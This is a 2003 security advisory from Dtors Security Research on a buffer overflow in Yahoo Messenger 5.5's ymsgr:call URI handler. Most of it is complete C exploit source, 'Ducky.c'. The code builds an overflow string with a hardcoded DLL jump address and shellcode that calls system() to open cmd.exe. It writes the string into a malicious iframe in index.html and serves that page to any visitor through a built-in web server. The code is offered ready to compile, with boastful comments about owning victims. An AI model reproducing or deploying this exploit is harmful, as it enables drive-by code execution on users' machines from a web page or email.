-[[Dtors Security Research]]-
-[[     www.dtors.net     ]]-

-[Package: Yahoo Messenger
-[Versions Affected: 5.5 <
-[Website: http://messenger.yahoo.com
-[Exploit: http://www.dtors.net/exploits/ducky.c
-[Date: 07/05/03
-[Author: bob@dtors.net

---[BACKGROUND

Yahoo messenger is a world wide scale Instant Messaging client.
Yahoo provide this service free of charge allowing people
all over the world to communicate with one another.


--[DESCRIPTION

In May 2002 this vulnerbility was found, and apparently fixed,
but later indications now show that the latest yahoo messenger
[5.5] is STILL vulnerable.


--[ANALYSIS

There existed a buffer overflow in one of the clients options known
as Yahoo! Messenger Call Center. When this was passed a long string of 
320 chars it would crash the client, overwriting some important 
frame pointers. 

If the attacker was to construct a malicious URI, he could execute arbitary
code on the victims computer, leading to remote access.

The vicitim does not have to have yahoo messenger open or logged in for this
attack to be effective. The URI handler that Yahoo messenger uses can be triggered
from an email or webpage. An example of this can be seen at http://yahoo.dtors.net

--[SYSTEMS AFFECTED:

Windows NT/2000/SP1/SP2/SP3
Windows ME
Windows 95/98
Windows XP

--[EXPLOIT CODE

/* Ducky.c (Windows XP Pro + sp1)
 *
 * Rave@dtors.net
 *
 *
 * ---------------------------------------------------
 * Dtors Security Research (DSR)
 * Code by: Rave
 * Mail: rave@dtors.net
 * ---------------------------------------------------
 *
 *
 *    ---[ Ducky duck remote yahoo  V5.5 exploiter ]---
 *
 *
 * The Ducky duck yahooo messager version 5.5 remote
 * exploiter is ready for u all u need to do is to compile
 * the source file and your ready to go..
 *
 *
 * Usage:
 *
 * Owning yahoo messenger was a royal pain in the ass but a worthy
 * challenge. I could not hit the shellcode address that was a 0x0012xxxx 
 * if the least significant byte is lower that 0x24 it turns it into 0x00, 
 * so if the shellcode is at 0x0012ddf4 u end up with 0x0000ddf4, now how
 *  did I solve this problem?
 * 
 * I searched for a jmp 0xC (EB0C) code in one of the dynamically linked
 * library's (dll's) and pointed my instruction pointer to that position.
 * Now there is a jump instruction inside the base pointer at location
 * ebp+0xc, that address points right in the middle of the nops, viola!
 * We own this place :)
 *
 *      cheers, rave....
 *
 *
 * The buffer looks like this
 *
 *                    |-<-<-<--|
 * <Fillup x offset><JMP 0x3><EIP><NOPS><SHELLCODE>
 *              ^__________^  
 *         
 *
 * Special credits go out to bob (bob@dtors.net) for pointing me the
 * vulnerabilety its crewl the work he does. 
 *
 *                                Enjoy Rave..
*/


#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>          /* These are the usual header files */
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#define MAXDATASIZE 555   /* Max number of bytes of data */
#define BACKLOG 200   /* Number of allowed connections */

static int port =80;

/* library entry inside msvcrt.dll to jmp 0xc (EB0C); */
char sraddress[8]="\x16\xd8\xE8\x77";

/* This shellcode just executes cmd.exe nothing special here..
 * the victim gets a cmd shell on his desktop :) lol ! \
 */

unsigned char shellcode[] =
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8"

  "\x44\x80\xbf\x77"      //  0x78bf8044 <- adress of system()
  "\xff\xd0";          //    call    system()
  





static int port;
void Usage(char *programName)
{
  printf("\n\t\t---------------------------------------------------\n");
  printf("\t\t\t\tDtors Security Research (DSR) \n");
  printf("\t\t\t\tCode by: Rave\n");
  printf("\t\t\t\tMail: rave@dtors.net\n");
  printf("\t\t---------------------------------------------------\n\n");


  /* Modify here to add your usage message when the program is
   * called without arguments */
  printf("\t\t---------------------------------------------------\n\n");
  fprintf(stdout,"\t\t-p local webserver server portnumber\n");
  fprintf(stdout,"\t\t-g greatz to:\n\n\n\n\n");
  printf("\t\t---------------------------------------------------\n\n");

}

/* returns the index of the first argument that is not an option; i.e.
   does not start with a dash or a slash
*/
int HandleOptions(int argc,char *argv[])
{
  int i,firstnonoption=0;

  for (i=1; i< argc;i++) {
    if (argv[i][0] == '/' || argv[i][0] == '-') {
      switch (argv[i][1]) {
        /* An argument -? means help is requested */
        case '?':
          Usage(argv[0]);
          break;
        case 'P':
          port=atoi(argv[i+1]);break;
        case 'H':
          if (!stricmp(argv[i]+1,"help")) {
            Usage(argv[0]);
            break;
          }
          /* If the option -h means anything else
           * in your application add code here
           * Note: this falls through to the default
           * to print an "unknow option" message
          */
        /* add your option switches here */
        default:
          fprintf(stderr,"unknown option %s\n",argv[i]);
          break;
      }
    }
    else {
      firstnonoption = i;
      break;
    }
  }
  return firstnonoption;
}

int main(int argc,char *argv[])
{
FILE *fptr;
unsigned char buffer[5000];
int offset=320; // <-- the offset off the buffer = 320 x NOP; (At 321 whe begin the instruction pointer change)
int fd,fd2 ,i,numbytes,sin_size;    /* files descriptors */

char sd[MAXDATASIZE];  /* sd will store send text */

 struct sockaddr_in server; /* server's address information */
 struct sockaddr_in client; /* client's address information */
 struct hostent *he; /* pointer for the host entry */


   WSADATA  wsdata;
     WSAStartup(0x0101,&wsdata);


  if (argc == 1) {
    /* If no arguments we call the Usage routine and exit */
    Usage(argv[0]);
    return 1;
  }

    HandleOptions(argc,argv);
    fprintf(stdout,"Creating index.html: ");
    if ((fptr =fopen("index.html","w"))==NULL){
      fprintf(stderr,"Failed\n");
      exit(1);
      } else {
      fprintf(stderr,"Done\n");
      }

  // memseting the buffers for preperation
  memset(sd,0x00,MAXDATASIZE);
  memset(buffer,0x00,offset+32+strlen(shellcode));
   memset(buffer,0x90,offset);


  // whe place the a jmp ebp+0x3 instuction inside the buffer
  // to jump over the eip changing bytes at the en offset
  //
  // <fillup x offset>jmp 0x3<eip><NOPS><shellcode>
  //                   |____________^
  buffer[offset-4]=0xeb;
  buffer[offset-3]=0x03;

  memcpy(buffer+offset,sraddress,4);
  memcpy(buffer+offset+4,shellcode,strlen(shellcode));


  // here whe make the index.html
  // whe open it again if some one connects to the exploiting server
  // and send it over to the victim.

  fprintf(fptr,"<!DOCTYPE HTML PUBLIC %c-//W3C//DTD HTML 4.0 Transitional//EN%c>",0x22,0x22);
  fprintf(fptr,"<html>");
  fprintf(fptr,"<title>Oohhh my god exploited</title>\n");
  fprintf(fptr,"<body bgcolor=%cblack%c>",0x22,0x22);
  fprintf(fptr,"<body>");
  fprintf(fptr,"<font color=%c#C0C0C0%c size=%c2%c face=%cverdana, arial, helvetica, sans-serif%c>",
            0x22,0x22,0x22,0x22,0x22,0x22);
  fprintf(fptr,"<B>Dtors Security Research (DSR)</B>\n");
  fprintf(fptr,"<p>Yah000 Messager Version 5.5 exploit....</p>\n");
  fprintf(fptr,"<pre>");
  fprintf(fptr,"<IFRAME SRC=%cymsgr:call?%s%c>Contach heaven</html></body>\x00\x00\x00",0x22,buffer,0x22);
  fprintf(fptr,"<IFRAME SRC=%chttp://www.boothill-mc.com/images/skull-modsm_01.gif%c>....</html></body>\x00\x00\x00",0x22,0x22);

  fclose(fptr); // <-- closing index.html again


  // Some extra debuging information
  fprintf(stdout,"Using port: %d\n",port);
  fprintf(stdout,"\nStarting server http://localhost:%d: ",port);

    if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 ){  /* calls socket() */
    printf("socket() error\n");
    exit(1);} else {
  fprintf(stderr,"Done\n");
  }


  server.sin_family = AF_INET;
    server.sin_port = htons(port);
  server.sin_addr.s_addr = INADDR_ANY;  /* INADDR_ANY puts your IP address automatically */
  memset(server.sin_zero,0,8); /* zero the rest of the structure*/


   if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr))==-1){
  /* calls bind() */
      printf("bind() error\n");
      exit(-1);
      }

  if(listen(fd,BACKLOG) == -1){  /* calls listen() */
      printf("listen() error\n");
      exit(-1);
      }

  while(1){
  sin_size=sizeof(struct sockaddr_in);
  if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size))==-1){
     /* calls accept() */
    printf("accept() error\n");
    exit(1);
  }

   if ((he=gethostbyname(inet_ntoa(client.sin_addr)))==NULL){
     printf("gethostbyname() error\n");
     exit(-1);
  }

    printf("You got a connection from %s (%s)\n",
  inet_ntoa(client.sin_addr),he->h_name);
 /* prints client's IP */


  fprintf(stdout,"\nOpening index.html for remote user: ");
  if ((fptr =fopen("index.html","r"))==NULL){
      fprintf(stderr,"Failed\n");
      exit(1);
      } else {
      fprintf(stderr,"Done\n");
      }

  fprintf(stdout,"Sending the overflow string... ");





    // reading the index.html file and sending its
    // contents to the connected victim

    while (!feof(fptr)) {
      send(fd2,sd,strlen(sd),0);
    numbytes=fread(sd,sizeof(char),MAXDATASIZE,fptr);
    sd[numbytes * sizeof(char)]='\0';


    }



    send(fd2,sd,strlen(sd),0);


   printf("\n\n\nExploit Done....\n\n\n");
   printf("A shell is started @ %s :) lol\n\n\nPress any key to exit the exploit",inet_ntoa(client.sin_addr),he->h_name);

  gets(sd);
  exit(0);
}









return 0;
}
--[MISC

Exploits for Windows 2000 can be seen at http://www.dtors.net/exploits

--[Notification

Yahoo was notified of this problem but no reply has been recieved.

--[CREDIT/s

bob@dtors.net

Exploit written by rave@dtors.net